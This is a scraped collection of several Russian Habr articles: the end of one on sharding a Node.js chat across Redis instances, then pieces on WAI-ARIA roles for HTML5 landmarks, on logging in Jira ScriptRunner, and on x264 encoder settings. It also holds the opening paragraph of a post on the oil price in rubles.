function hash(val:string):number{/**/}//Наша хэш-функция, возвращающая число
const clients:RedisClient[] = []//Массив клиентов редиса
const uid = "some uid"//Идентификатор пользователя
//Теперь, такой не хитрой манипуляцией мы получаем всегда один и тот же
//клиент из множества для данного пользователя
const selectedClient = clients[hash(uid) % clients.length]
```
Вуаля! Теперь мы не зависим от количества инстансов от слова вообще, можем скалироваться сколь угодно без оверхедов! Ну серьезно, это же гениальный вариант, единственный минус которого: нужда в полном перезапуске системы при обновлении количества редис-инстансов. Есть такая штука как [Стандартное кольцо и Партиционное кольцо](https://4gophers.ru/articles/standartnoe-kolco-basic-hash-ring/), позволяющие побороть это, но они не применимы в условиях системы обмена сообщениями. Ну т е сделать логику миграции подписок между инстансами можно, но это стоит еще дополнительный кусок кода непонятного размера, а как мы знаем — чем больше кода, тем больше багов, нам этого не надо, спасибо. Да и в нашем случае downtime вполне допустимый tradeoff.
Еще можно посмотреть на RabbitMQ с его [плагином](https://github.com/rabbitmq/rabbitmq-sharding), позволяющий вытворять то же что и мы, и + обеспечивает миграцию подписок (как я говорил выше — он обвязан функционалом с ног до головы). В принципе можно взять его и спать спокойно но, если кто шарит в его тюнинге дабы вывести в realtime режим оставив только лишь фичу с хэш рингом.
[Залил репозиторий на гитхаб.](https://github.com/Alster/distributed-nodejs-chat-with-redis)
В нем реализован тот финальный вариант к которому мы пришли. Помимо всего, там есть дополнительная логика по работе с комнатами (диалогами).
В общем, я доволен и можно закругляться.
Итого
-----
Можно сделать что угодно, но есть такая штука как ресурсы, а они конечны, поэтому нужно извиваться.
Мы начали с полного незнания как могут работать распределенные системы к более менее осязаемым конкретным паттернам, и это хорошо. | https://habr.com/ru/post/440546/ | null | ru | null |
# Подстраховка web-доступности семантических областей HTML5 через роли WAI-ARIA
Как известно, HTML5 имеет расширенные возможности семантической вёрстки. Он позволяет обернуть отдельные логические блоки страницы в специально предназначенные для них блочные теги, какие как header, main, footer и другие. Ну а улучшение структурной и семантической вёрстки, как правило, автоматически способствует повышению уровня accessibility web-интерфейса для пользователей программ экранного доступа, потому что они добавляют элементы страницы, по которым возможно осуществлять навигацию и быстро перемещаться между блоками контента.
В принципе, дополнительная разметка для обеспечения accessibility реализуется через отдельную технологию WAI-ARIA, однако и стандартные семантические структуры HTML5 современными браузерами и современными программами экранного доступа воспринимаются как соответствующие атрибуты ARIA для вспомогательных технологий. Проще говоря, это означает, что в теории следующие два варианта вёрстки с точки зрения программ чтения экрана аналогичны::
Листинг 1:
```
Листинг 1
Верхний колонтитул
Навигационная панель
Основное содержимое
Нижний колонтитул
```
Поскольку в рамках всей статьи нас интересует только то, что происходит в контейнере body, то далее договоримся, что в последующих листингах будет приводиться только вёрстка из body, а всё остальное будет подразумеваться как в листинге 1.)
Листинг 2:
```
Верхний колонтитул
Навигационная панель
Основное содержимое
Нижний колонтитул
```
Итак, листинг 1 свёрстан с использованием стандартных семантических возможностей HTML5, а листинг 2 использует старую добрую блочную вёрстку через div, но с добавлением разметки WAI-ARIA. По задумке разработчиков стандартов доступности, браузеров и вспомогательных технологий предполагается, что эти две страницы должны обрабатываться программами экранного доступа одинаково, однако тут мы и сталкиваемся с прозой жизни.
Возьмём две наиболее популярные программы экранного доступа: JAWS (версии 15.0) и NVDA (версии 2014.3), а также два наиболее популярных у их пользователей браузера: Internet Explorer (версии 11) и Firefox (версии 32). После этого протестируем все возможные конфигурации на предмет обработки семантических областей из листинга 1. В итоге, получим следующие результаты:
Поддержка семантических тегов HTML5| Теги | JAWS
Internet Explorer | JAWS
Firefox | NVDA
Internet Explorer | NVDA
Firefox |
| aside | Да | Да | Нет | Да |
| footer | Нет | Да | Нет | Да |
| header | Нет | Да | Нет | Да |
| main | Да | Да | Нет | Да |
| nav | Да | Да | Нет | Да |
Оказывается, что всё работает далеко не так, как предполагается теоретически. Причём с понижением версий ПО поддержка некоторых структур может начать неравномерно отваливаться. А главное в официальных руководствах и технических стандартах об этом вряд ли удастся прочитать, и такие проблемы сможет выявить лишь опытный и дотошный QA-инженер accessibility, который есть далеко не в каждом даже очень крупном проекте, пускай там доступность и прописана в ТЗ, например, в случае разработки социально ориентированных или государственных сайтов, а также в проектах, для которых доступность подразумевается как конкурентное преимущество, например, Интернет-банкинги. Про проекты не фокусированные на accessibility и говорить не приходится.
Разумеется, поскольку финальный вариант WAI-ARIA принят [совсем недавно](http://habrahabr.ru/post/217855/), а руководство по его поддержки со стороны User Agent вообще до сих пор не существует в завершённом виде, то в будущем, когда всё утрясётся, можно надеется, что и такие вещи также унифицируются. Однако проекты разрабатываются и сдаются уже здесь и сейчас, да и graceful degradation тоже никто ещё не отменял. Поэтому имеет смысл верстать так, чтобы с одной стороны использовать семантические новинки HTML5, а с другой — не обижать вспомогательные технологии при любых раскладах.
Достигнуть этого можно путём одновременного использования и семантики HTML5, и разметки WAI-ARIA. То есть к этим тегам надо будет добавлять соответствующие роли WAI-ARIA, как бы подстраховывая семантические области HTML5 через Accessible Rich Internet Applications.
Здесь следует сразу предупредить, что атрибуты разметки WAI-ARIA имеют более высокий приоритет, чем стандартные семантические структуры HTML5, поэтому если, например, для тега main прописать атрибут role со значением contentinfo, то программы экранного доступа будут называть его так, как будто это footer. Так что отсутствие WAI-ARIA лучше, чем наличие её некорректного применения. Иными словами: «Не умеешь, не берись», но эта статья как раз и призвана научить этому не сложному приёму вёрстки.
По большому счёту, всё сводится к необходимости выучить правильное соответствие ролей WAI-ARIA и стандартных семантических структур HTML5. В принципе, из листингов 1 и 2 основные соответствия уже ясны:
Соответствие базовых семантических тегов HTML5 и значений атрибута role из WAI-ARIA| Тег HTML5 | Роль WAI-ARIA |
| footer | contentinfo |
| header | banner |
| main | main |
| nav | navigation |
Кстати, что касается роли banner, специально оговоримся, что она предназначена для оборачивания именно всей шапки страницы, а не рекламного баннера. То есть она, действительно, прямой аналог тега header. Как показывает практика, некоторых слово «banner» вводит в заблуждение, и они начинают это значение присваивать именно рекламным баннерам, но это неправильно.
Вышеприведённые соответствия позволят корректно разметить в WAI-ARIA базовые семантические области HTML5. Однако заметно, что там упомянуты далеко не все из них. Дело в том, что во-первых, некоторые семантические структуры HTML5 не имеют прямых аналогов WAI-ARIA, например, это касается тега article, а во-вторых, с некоторыми из них всё не так просто, главным образом, речь, конечно, об aside.
По умолчанию тег aside программами экранного доступа трактуется как аналог роли complementary. В принципе, в большинстве случаев так и должно быть, однако диапазон возможного применения aside достаточно велик, поэтому могут встречаться ситуации, когда роль complementary будет не очень уместна.
Откровенно говоря, здесь мы уже вступаем на достаточно тонкий лёд вкусовщины и субъективного понимания дизайна невизуальных интерфейсов, где дискуссии примерно соответствуют спором о шрифтах или цветовых гаммах в мире визуальных интерфейсов. Тем не менее, всё же приведём один пример, чтобы дать представление об этом аспекте.
Листинг 3:
```
Верхний колонтитул
Навигационная панель
Основное содержимое
Теги основного содержимого
Нижний колонтитул
```
Роль complementary описывает для программ экранного доступа блок интерфейса как участок с некой дополнительной информацией, не имеющей прямого отношение к основному содержимому. Однако в нашем примере мы выделяем два таких блока: на уровне всей страницы, в который оборачиваем навигационную панель, а также внутри основного содержимого, куда оборачиваем теги. Очевидно, что по своей сути это сильно различающиеся блоки с дополнительной информацией, поэтому второму мы назначили роль note, которая маркерует блок как участок с неким примечанием.
Использование таких приёмов вёрстки требует уже несколько большего понимания логики невизуальных интерфейсов, поэтому рубить с плеча тут не стоит. Можно только посоветовать всё-таки использовать роль complementary, а более сложные интерфейсные ходы применять только если вы в достаточной степени уверены, что это уместно. Если бы в листинге 3 вместо note была использована complementary, то это было бы лучше, чем наоборот.
К слову, у роли note нет прямого аналога среди семантических тегов HTML5, поэтому полной совместимости нет как в одну, так и в другую сторону. Такие роли и программами экранного доступа обрабатываются несколько иначе, поэтому с ними вообще лучше не связываться, если в проекте нет серьёзных специалистов по accessibility, понимающих все подводные камни.
Кроме того, проблему использования нескольких одинаковых семантических областей HTML5 можно решать и другим способом, а именно добавлением к ним поясняющих меток. Например, если в интерфейсе несколько навигационных панелей, то имеет смысл указать их назначение, чтобы пользователь программы экранного доступа сразу понимал разницу.
Листинг 4:
```
Верхний колонтитул
Основная навигационная панель
Контекстнозависимая навигационная панель
Рекламный блок
Основное содержимое
Теги основного содержимого
Нижний колонтитул
```
То есть атрибут aria-label позволяет задать дополнительную текстовую метку, которая будет пояснять назначение данного блока. Причём важно понимать, что aria-label именно дополняет role, поэтому не надо в её тексте дублировать информацию о семантическом назначении блока, например, совсем не нужно для nav писать, что это «Область навигации по разделам», достаточно просто написать «Разделы». Ну а для тега main вообще нет необходимости прописывать aria-label, так как он в принципе должен быть на странице лишь в единственном экземпляре и его назначение итак понятно. А вот для aside, footer, header или nav поясняющую метку следует добавлять по обстоятельствам. Как правило, это имеет смысл, если на странице несколько таких элементов одного типа, что с теми же footer или header бывает не так часто.
Соблюдение несложных приёмов вёрстки, описанных в этой статье, позволит вам создавать не просто доступные, но одинаково доступные под всеми основными конфигурациями интерфейсы. И главное, всё это абсолютно никак не поломает визуальную вёрстку, потому что атрибуты role и aria-label оказывают влияние лишь на то, как страница представляется программами экранного доступа через речевой или тактильный вывод информации.
Напоследок две ссылки, по которым можно более подробно ознакомиться с семантическими возможностями HTML5 и WAI-ARIA:
* [Структурные элементы, введённые в HTML5](http://www.w3.org/wiki/HTML_structural_elements#Enter_HTML5_structural_elements)
* [Модель ролей WAI-ARIA](http://www.w3.org/TR/wai-aria/#roles) | https://habr.com/ru/post/240065/ | null | ru | null |
# Логирование в Adaptivist ScriptRunner
В этой статье я хотел бы поговорить о логировании в Adaptivist ScriptRunner. Логи являются основным инструментом разработчиков и экспулатирующего персонала для анализа нештатных ситуаций в промышленной среде. Поэтому при разработке приложения мы должны подумать о том, что нам будет необходимо при анализе возникающих инцидентов.
Все примеры были подготовлены в Jira Software 7.8.0 и Adaptivist ScriptRunner 5.3.9.
Давайте предположим, что вы пришли на проект, который уже идет некоторое время, или же вы уже написали несколько десятков скриптов, и вот к вам приходит инцидент c ошибкой.
#### Пример Инцидента 1
```
2018-03-17 11:43:04,891 http-nio-8080-exec-17 ERROR admin 703x1504x1 16n2j3n 127.0.0.1 /secure/WorkflowUIDispatcher.jspa [c.o.s.jira.workflow.ScriptWorkflowFunction] Script function failed on issue: BP-2, actionId: 951, file:
java.lang.NullPointerException: Cannot invoke method getKey() on null object
at Script1.run(Script1.groovy:4)
```
Из логов понятно, что это инлайн скрипт. Скрипт находится в каком-то бизнес процессе в переходе с ид 951. Далее мы должны запросить у эксплуатирующего персонала информацию о переходе с ид 951, и даже после того, как мы получим эту информацию, мы все равно не будем знать, этот скрипт находится в условии, валидаторе или пост функции. Кроме того мы понимаем, что NPE было получено потому, что какой-то объект был null, но мы не представляем, какой это объект и почему он был null. Мы должны сначала найти этот инлайн скрипт, а с этим у нас проблемы.
#### Пример Инцидента 2
```
2018-03-17 17:07:31,325 http-nio-8080-exec-22 ERROR admin 1027x4968x1 gj4xqt 127.0.0.1 /secure/WorkflowUIDispatcher.jspa [c.o.s.jira.workflow.ScriptWorkflowFunction] Script function failed on issue: BP-2, actionId: 961, file: ru/matveev/alexey/main/postfunctions/pfNPE.groovy
java.lang.IndexOutOfBoundsException: Index: 0, Size: 0
at java_util_List$get$6.call(Unknown Source)
at ru.matveev.UtilHelper.getIndexOutOfBoundsException(UtilHelper.groovy:13)
at ru.matveev.UtilHelper$getIndexOutOfBoundsException.call(Unknown Source)
at ru.matveev.alexey.main.postfunctions.pfNPE.run(pfNPE.groovy:10)
```
Здесь дела обстоят лучше. Мы видим, что ошибка в методе getIndexOutOfBoundsException, который был вызван скриптом pfNPE.groovy. Мы знаем местоположение данного скрипта. Но мы не знаем, где находится файл UtilHelper.groovy. Мы можем запустить поиск по файловой системе и, скорее всего, найдем файл UtilHelper, но мы также не понимаем, почему мы получили IndexOutOfBoundsException, какие значения были у массива, у которого мы выбирали элемент. То есть нам не хватает контекста, в котором выполнялся скрипт.
#### Пример Инцидента 3
```
2018-03-17 16:26:25,165 http-nio-8080-exec-22 ERROR admin 986x4387x1 gj4xqt 127.0.0.1 /secure/CommentAssignIssue.jspa [c.o.s.c.jira.utils.ConditionUtils] Condition failed on issue: BP-2, built-in script:com.onresolve.scriptrunner.canned.jira.workflow.postfunctions.CreateSubTask
java.lang.NullPointerException: Cannot invoke method getClauseNames() on null object
at Script19.run(Script19.groovy:3)
2018-03-17 16:26:25,166 http-nio-8080-exec-22 ERROR admin 986x4387x1 gj4xqt 127.0.0.1 /secure/CommentAssignIssue.jspa [c.o.s.c.jira.utils.ConditionUtils] Script follows:
import com.atlassian.jira.component.ComponentAccessor
def cs = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("field name")
cs.getClauseNames()
```
Здесь мы видим, что ошибка произошла во встроенной функции ScriptRunner, которая создает подзадачу. Но мы не знаем эта функция была добавлена в пост функцию, листенер или еще куда-нибудь. Кроме того у нас опять нет контекста выполнения скрипта.
#### Пример Инцидента 4
```
Не отправляется почта исполнителю задачи после назначения. Никаких ошибок в логах не обнаружено.
```
Допустим, мы знаем, что у нас оправляет почту наш кастомный скрипт, но как понять, что пошло не так в этом кастомном скрипте?
Итак, давайте попробуем систематизировать информацию, выдаваемую в логи, для того, чтобы:
* быстро находить требуемый скрипт
* определять контекст, в котором выполнялся скрипт
* понимать, что идет не так при выполнении скрипта
* искать требуемые нам логи среди большого количества других логов
#### 1. Необходимо структурировать все наши скрипты в файловой системе
Я предпочитаю хранить скрипты по типу объекта. Например, пост функции будут храниться в директории ru/matveev/alexey/main/postfunctions, листенеры — в ru/matveev/alexey/main/listeners и так далее. Это поможет структурировать расположение скриптов и быстрее ориентироваться в многообразии скриптов (есть исключения, для которых данное структурирование неудобно, попробую об этом рассказать в другой статье).
#### 2. Необходимо первой строкой определять пакет скрипта
Пакет скрипта определяет его местоположением в файловой системе. Например, для пост функций пакет будет определяться следующим образом:
```
package ru.matveev.alexey.main.postfunctions
```
Это нам поможет определять расположение скриптов. Например, у нас в Инциденте 2 в логах была вот такая запись:
```
at ru.matveev.UtilHelper.getIndexOutOfBoundsException(UtilHelper.groovy:13)
```
Отсюда мы понимаем, что UtilHelper находится в ru/matveev.
#### 3. Необходимо сразу после импортов определить логер скрипта
Как определить логер для скрипта в ScriptRunner можно найти [здесь](https://www.adaptavist.com/doco/display/SFJ/Set+logging+to+help+debug+your+scripts). Но я предпочитаю использовать SLF4J, так как синтаксис вывода логов мне кажется более удобным, чем в log4j. Например, логировать можно вот так:
```
log.debug("var1: {}, var2: {}", var1, var2)
```
Здесь в процессе выполнения скрипта, вместо фигурных скобок подставляются значения переменных var1 и var2.
Логер для скриптов, которые находятся в файловой системе, можно определять вот так:
```
def log = LoggerFactory.getLogger(this.getClass())
```
В этом случае логер будет равен пакету скрипта плюс имя файла. Например, для файла pfNPE.groovy, у которого определен пакет ru.matveev.alexey.main.postfunctions, логер будет выглядеть вот так:
```
ru.matveev.alexey.main.postfunctions.pfNPE
```
Для инлайн скриптов необходимо явно указывать логер. Для этого сначала нужно обязательно заполнить поле Note при заведении инлайн скрипта. Это нам позволит точно определить исполняемый скрипт:
Далее мы определяем, где бы находился скрипт, если бы он размещался в файловой системе. На скриншоте выше мы добавляем листенер, поэтому этот файл рамещался бы в ru/matveev/alexey/main/listeners. Таким образом наш логер получается вот таким:
```
ru.matveev.alexey.main.listeners.NPElistener
```
Еще я добавляю .inline к логеру для того, чтобы понимать, что это инлайн скрипт и окончательный вид логера вот такой:
```
def log = LoggerFactory.getLogger("ru.matveev.alexey.main.listeners.NPElistener.inline")
```
Логер позволяет нам:
* Устанавливать уровень логирования скрипта(про уровни логирования можно почитать [здесь](https://www.tutorialspoint.com/log4j/log4j_logging_levels.htm))
* Фильтровать логи только для нашего скрипта. Без этого анализ логов невозможен, так как Jira генерирует большое количество логов.
#### 4. Логировать вход и выход из скрипта
Для инлайн скриптов сразу после определения логера я логирую вход в скрипт и выход из скрипта. Например, для листенера, у которого поле Note определено как NPEListener, строки логирования входа и выхода будут выглядеть вот так:
```
log.info("NPElistener in")
...
log.info("NPElistener out")
```
Для инлайн скриптов, которые выполняются в бизнес процессах, можно указывать еще название бизнес процесса, начальный статус, переход и значение поля Note. Например, вот так:
```
log.info("MyWorkflow:IN Progress:In Progress:OutOfIndexBoundsPF in")
...
log.info("MyWorkflow:IN Progress:In Progress:OutOfIndexBoundsPF out")
```
В этом случае вызывается скрипт в MyWorkflow, начальный статус In Progress, переход In Progress, значение Note OutOfIndexBoundsPF. Формат кодирования места вызова может быть любой.
Понятно, что название бизнес процесса или статуса может поменяться, и тогда информация станет неактуальной. В этом случае можно будет найти место вызова скрипта по ид перехода.
Для скриптов в файловой системе логирование входа и выхода выглядит вот так:
```
log.info("{} in", this.getClass())
...
log.info("{} out", this.getClass())
```
Логирование входа и выхода помогает понять, закончил ли скрипт работу или нет. Можно логировать входы и выходы из функций в скрипте или вызываемых модулях. Но это нужно определить самому, насколько это необходимо, а также определить уровень логирования.
Я логирую вход и выход из скрипта с уровнем INFO для того, чтобы можно было бы включить лог только входов и выходов из скрипта, когда мне не нужен контекст выполнения скрипта. Уровни работают таким образом, что они логируют все значения, которые равны установленному уровню или выше. Например, уровень INFO будет логировать уровни INFO, WARN, ERROR,FATAL, но не будет логировать DEBUG и TRACE.
#### 5. Необходимо логировать значения переменных в скрипте
Для того, чтобы нам понимать контекст выполнения скрипта, мы должны как минимум залогировать значения переменных. Логирование переменных происходит вот так:
```
log.debug("index: {}", index)
```
Я логирую контекст уровнем DEBUG или TRACE.
Теперь давайте попробуем переписать скрипты, которые вызвали инциденты, используя подход, приведенный выше, и посмотрим, насколько это нам поможет анализировать эти инциденты.
#### Инцидент 1
Скрипт, который выдавал ошибку для Инцидента 1 выглядит вот так:
```
import com.atlassian.jira.issue.Issue
Issue issue
issue.getKey()
```
После добавления логирования скрипт будет выглядеть вот так:
```
import com.atlassian.jira.issue.Issue
import org.apache.log4j.Logger
def log = Logger.getLogger("ru.matveev.alexey.main.postfunctions.NPEPF.inline")
log.info("MyWorkflow:IN Progress:In Progress:NPEPF in")
Issue issue
issue.getKey()
log.info("MyWorkflow:IN Progress:In Progress:NPEPF out")
```
Для того, чтобы увидеть логи в файле atlassian-jira.log нужно зайти в System -> Logging and Profiling и установить уровень INFO для логера ru.matveev.alexey.main.postfunctions.NPEPF.inline. После этого мы увидим в логах вот такие записи:
```
2018-03-18 18:10:48,462 http-nio-8080-exec-36 INFO admin 1090x711x1 e9394m 127.0.0.1 /secure/WorkflowUIDispatcher.jspa [r.m.a.m.postfunctions.NPEPF.inline] MyWorkflow:IN Progress:In Progress:NPEPF in
2018-03-18 18:10:48,467 http-nio-8080-exec-36 ERROR admin 1090x711x1 e9394m 127.0.0.1 /secure/WorkflowUIDispatcher.jspa [c.o.s.jira.workflow.ScriptWorkflowFunction] *************************************************************************************
2018-03-18 18:10:48,468 http-nio-8080-exec-36 ERROR admin 1090x711x1 e9394m 127.0.0.1 /secure/WorkflowUIDispatcher.jspa [c.o.s.jira.workflow.ScriptWorkflowFunction] Script function failed on issue: BP-2, actionId: 951, file:
java.lang.NullPointerException: Cannot invoke method getKey() on null object
at Script16.run(Script16.groovy:7)
```
Из логов мы видим, что мы вошли в инлайн скрипт NPEPF и не вышли из него, а значит ошибка произошла именно в нем. В тексте скрипта мы видим, что переменная issue не инициализирована.
#### Инцидент 2
Скрипты, которые вызывали ошибку выглядят вот так:
**pfNPE.groovy**
```
import ru.matveev.UtilHelper
List stringList = new ArrayList<>()
stringList.add("0")
stringList.add("1")
stringList.add("2")
UtilHelper.getRandomElement(stringList)
```
**UtilHelper.groovy**
```
package ru.matveev
import com.atlassian.jira.issue.Issue
import java.util.Random
public class UtilHelper {
public static String getRandomElement(List value) {
Random rand = new Random()
int max = 5
def index = rand.nextInt(max);
return value.get(index)
}
}
```
После добавления логирования скрипты будут вот такими:
**pfNPE.groovy**
```
package ru.matveev.alexey.main.postfunctions
import ru.matveev.alexey.main.helpers.UtilHelper
import org.slf4j.LoggerFactory;
def log = LoggerFactory.getLogger(this.getClass())
log.info("pfNPE in")
List stringList = new ArrayList<>()
stringList.add("0")
stringList.add("1")
stringList.add("2")
UtilHelper.getRandomElement(stringList)
log.info("pfNPE out")
```
**UtilHelper.groovy**
```
package ru.matveev.alexey.main.helpers
import com.atlassian.jira.issue.Issue
import java.util.Random
import org.slf4j.LoggerFactory;
public class UtilHelper {
private static final LOG = LoggerFactory.getLogger("ru.matveev.alexey.main.helpers.UtilHelper")
public static String getRandomElement(List value) {
LOG.debug("getRandomElement in. value: {}", value)
Random rand = new Random()
int max = 5
def index = rand.nextInt(max);
LOG.debug("index: {}", index)
return value.get(index)
}
}
```
Для того, чтобы мы увидели логи в файле atlassian-jira.log необходимо установить логерам ru.matveev.alexey.main.helpers.UtilHelper и ru.matveev.alexey.main.postfunctions.pfNPE уровень DEBUG в System -> Logging and Profiling. После этого мы увидим следующие логи:
```
2018-03-17 18:54:00,664 http-nio-8080-exec-2 INFO admin 1134x121x1 pr8c2n 127.0.0.1 /secure/WorkflowUIDispatcher.jspa [r.m.a.main.postfunctions.pfNPE] pfNPE in
2018-03-17 18:54:00,687 http-nio-8080-exec-2 DEBUG admin 1134x121x1 pr8c2n 127.0.0.1 /secure/WorkflowUIDispatcher.jspa [r.m.a.main.helpers.UtilHelper] getRandomElement in. value: [0, 1, 2]
2018-03-17 18:54:00,687 http-nio-8080-exec-2 DEBUG admin 1134x121x1 pr8c2n 127.0.0.1 /secure/WorkflowUIDispatcher.jspa [r.m.a.main.helpers.UtilHelper] index: 4
2018-03-17 18:54:00,693 http-nio-8080-exec-2 ERROR admin 1134x121x1 pr8c2n 127.0.0.1 /secure/WorkflowUIDispatcher.jspa [c.o.s.jira.workflow.ScriptWorkflowFunction] *************************************************************************************
2018-03-17 18:54:00,694 http-nio-8080-exec-2 ERROR admin 1134x121x1 pr8c2n 127.0.0.1 /secure/WorkflowUIDispatcher.jspa [c.o.s.jira.workflow.ScriptWorkflowFunction] Script function failed on issue: BP-2, actionId: 961, file: ru/matveev/alexey/main/postfunctions/pfNPE.groovy
java.lang.IndexOutOfBoundsException: Index: 4, Size: 3
at java_util_List$get$1.call(Unknown Source)
at ru.matveev.alexey.main.helpers.UtilHelper.getRandomElement(UtilHelper.groovy:25)
at ru.matveev.alexey.main.helpers.UtilHelper$getRandomElement.call(Unknown Source)
at ru.matveev.alexey.main.postfunctions.pfNPE.run(pfNPE.groovy:12)
```
Из логов мы понимаем. какие скрипты вызывались и где они находятся. Мы видим значения всех переменных. Можно открывать скрипты и пытаться понять, что пошло не так. Вся информация у нас есть.
#### Инцидент 3
Здесь нужно добавить логирование для инлайн скриптов и тогда мы тоже сможем понять, откуда вызывается скрипт и в каком контексте.
#### Инцидент 4
Здесь может быть несколько вариантов. Например, мы можем точно знать скрипт, который выполняется при назначении исполнителя. Тогда мы включаем DEBUG уровень для логера скрипта и смотрим логи. Если мы не знаем скрипт, то мы можем установить DEBUG уровень для всех скриптов (ru.matveev.alexey.main) или для отдельного типа скриптов (ru.matveev.alexey.main.listeners — только для листенеров). Дальше мы можем установить фильтрацию вывода логов по логерам в программе, которую мы используем для просмотра логов, и получать информацию только о необходимых нам логах. После этого мы назначаем исполнителя и смотрим, что происходит в логах. Если мы внесли логирование в скрипты, то мы получим всю необходимую информацию.
Это все, что я хотел бы рассказать в этой статье. Хотел бы только добавить, что может возникнуть желание залогировать каждую строчку скрипта. Не нужно этого делать, так как тогда скрипт будет сложен для понимания. Необходимо помнить, что читабельность программного кода также важна, как и логирование. | https://habr.com/ru/post/351412/ | null | ru | null |
# x264 + VirtualDub vs XviD. Исследуем возможности, повышаем эффективность
В предыдущем [посте](/post/207170) я писал про разработку собственной матрицы под XviD. Той статьи не было бы, если б я сразу занялся x264. А занялся я им, потому что видел, что такие проблемы XviD, как квадратичность, искажение градиента цвета, ореол вокруг объектов, устраняются в x264.
Целью задачи стало выяснение этих возможностей кодека, а также скорости кодирования и размера файла. x264 успешно справился со всеми задачами и ниже вы узнаете, как это сделать легко и непринуждённо.
#### Краткая информация
Кодек x264 — очень успешная реализация стандарта H.264, созданная под крылом сообщества VideoLAN (автора VLC media player) со свободной лицензией. Обычно экспортируется консольный вариант, ориентированный в первую очередь на юниксоидов, под винды также есть варианты с графическим интерфесом. Собственно, недружественность опенсорсных разработчиков с рядовыми пользователями (вечные проблемы с документацией и графическим интерфейсом успешно и по сей день отделяют Microsoft от многих хороших и бесплатных проектов) и стала тормозным фактором на пути выхода кодека к широким массам и любителям видеоколлекций. Но, слава Всевышнему, не всё так уныло на сегодняшний день и есть достойные графические варианты. Теперь будьте внимательны, потому что речь пойдёт именно о релизе **2273 от Komisar** ([ссылка здесь](http://komisar.gin.by)). Сам файл, который установится в систему, это x264vfw.dll. Установить его можно на любой диск, а установщик позаботится, чтобы этот путь попал в реестр винды. Также вы можете иметь установленным этот кодек, если у вас есть полный K-Lite Codec Pack. Если там иная версия, установите 2273. Я пробовал версию 2274 с другим интерфейсом — категорически не советую, если только вы не собираетесь вникать в консольные команды. Чтобы вы не запутались, смотрите скриншоты.
Маркёром выделены ключи, которые мы будем разбирать и менять. Поехали.
**Quantizer** — квантизатор, который огрубляет итоговый сигнал, чем больше, тем хуже качество. Я кодирую только квантизатором и только в один проход, почему — смотрите предыдущий пост.
Здесь он отличается от того, что в XviD, поэтому я прикинул, что нужно брать значения кратные 4. Вот резюме:
4, 8 — рекомендуется только тем, кто занимается обработкой видео, так как качество идеальное, но большой размер файла;
12, 16 — для любителей качественных роликов небольшого размера в домашней коллекции;
20 — мой выбор, самый оптимальный квантизатор, подходит для фильмов;
24, 28 — компромиссный вариант, нормальное качество, подходит для большинства фильмов и сериалов, а также для загрузки роликов на ютуб;
32 и выше — бывают и такие случаи.
Во второй вкладке много интересных и полезных настроек.
Блок **Analysis** — разбивка блоков на части, фишка стандарта H.264, призвана обеспечить лучшее качество, но на поверку оказалась практически бесполезной — размер файла увеличивается, улучшение качества нужно искать с микроскопом, так что отключайте все «пташки».
**Subpixel ME refinement** — сложность оценки движения, значения от 1 до 11.
Чем больше, тем меньше размер и скорость. На самом деле размер уменьшался до 5, с цифры 6 размер стал расти, а скорость падать, видимо, это связано с Psy RDO, который до цифры 6 не работает. Так что вывод такой: если хотите максимальную скорость, то ставьте 1 и жертвуйте несколькими мегабайтами, если же не хотите жертвовать мегабайтами, а минутами, то ставьте 5.
**Max GOP size** — максимальный интервал между ключевыми кадрами, подробнее в предыдущем посте. Ставьте в пределах 200-300 и не партесь.
**Max consecutive B-frames** — максимальная последовательность B-кадров, чем их больше, тем меньше размер, но с этим нужно быть осторожней, могут быть проблемы с воспроизведением. Рекомендую 1 или 2.
Мы подошли к блоку **Encoding** и это, пожалуй, наиболее интересная часть настроек.
**Deblocking filter** (птичка и два числовых значения) — решает проблему квадратов, так ненавистных у XviD. По-умолчанию стоят значения 0, максимум 6. Мне 0 показалось мало и я попробовал 6 — понравилось. Теперь всегда буду ставить 6. Компромисс — 3.
**Intra / Inter Deadzone** — сглаживающий фильтр, работает по принципу Гаусса. Интересно, что в VirtualDub есть подобный фильтр и я им часто пользовался, но теперь он особого смысла не имеет. Дело в том, что при использовании его только в VirtualDub кодек в итоге всё равно оставляет шумы, а если использовать его только в кодеке — никаких проблем с шумами. Я выбрал максимум 32, потому что некоторые моменты просто восторгают — проезжающая машина даёт перламутровый блеск, море и небо просто загляденье. Некоторые заметят, что есть недостаток замыливания мелких деталей, тогда советую меньшие значения, кратные 4. Отключить совсем можно при квантизаторе меньше 16. На скорость не влияет.
Остальные ключи на этой вкладке объяснять не буду — просто поставьте, как на скриншоте.
Теперь третья вкладка, скриншота нет и не нужно. Там только нужно изменить два значения раз и навсегда. QP factor — выставьте оба в 1, если не хотите сюрпризов в виде неожиданного ухудшения качества.
Теперь важная инормация для тех, кто пользуется внешним плеером. Если есть проблемы с воспроизведением, сделайте следующие настройки:
Max frame refs = 1, Max consecutive B-frames = 0, CABAC = выкл.
Не все эти настройки одновременно влияют на совместимость, поэтому экспериментируйте.
На скорость могут влиять Subpixel ME refinement, Max frame refs, Max consecutive B-frames. За счёт использования многоядерности x264 оставляет позади XviD. С теми настройками, которые на скриншотах, размер файла сопоставим с XviD со средним квантизатором, но качество гораздо лучше. Так что прощай старый добрый XviD, ты много отнял у меня времени и нервов, а также дискового пространства, но тебе пора на заслуженный покой.
Кто любит паковать в mkv — юзайте MeGUI, инфы в инете достаточно. А если вам нравится в avi, то пожалуйте в VirtualDub. Кстати, как быстро открыть неавишный файл в VirtualDub? Легко. Ставите AviSynth, создаёте текстовый файл с расширением .avs и пишите строку **```
DirectShowSource("путь к фильму")
```** Если название кириллицей, не забудьте про кодировку Win. Потом открываете файл в VirtualDub. Рекомендации по звуку в предыдущем посте. Если делаете рипы в HD для заливки на ресурсы, можно вместо квантизатора 20 использовать 24 или 28, но обязательно с Deblocking filter и Intra / Inter Deadzone — получите нормальное качество с малым размером.
Для особо интересующихся **[здесь](http://www.videorip.info/x264)** можно почитать о настройках x264 на русском.
*Кодируйте на здоровье!* | https://habr.com/ru/post/225033/ | null | ru | null |
# Нефтерубль
Рубль падает, нефть дешевеет. Стало уже входить в привычку заглядывать и любоваться графиками на Яндексе: [RUR/USD](http://news.yandex.ru/quotes/1.html) и [USD/BAR](http://news.yandex.ru/quotes/1006.html). Естественно, в какой-то момент стало интересно в какой пропорции это происходит — что быстрее дешевеет? Простая операция умножения, и вуаля — стоимость BAR/RUB. В целом, получается, что вроде как баррель в рублях стоит на месте.
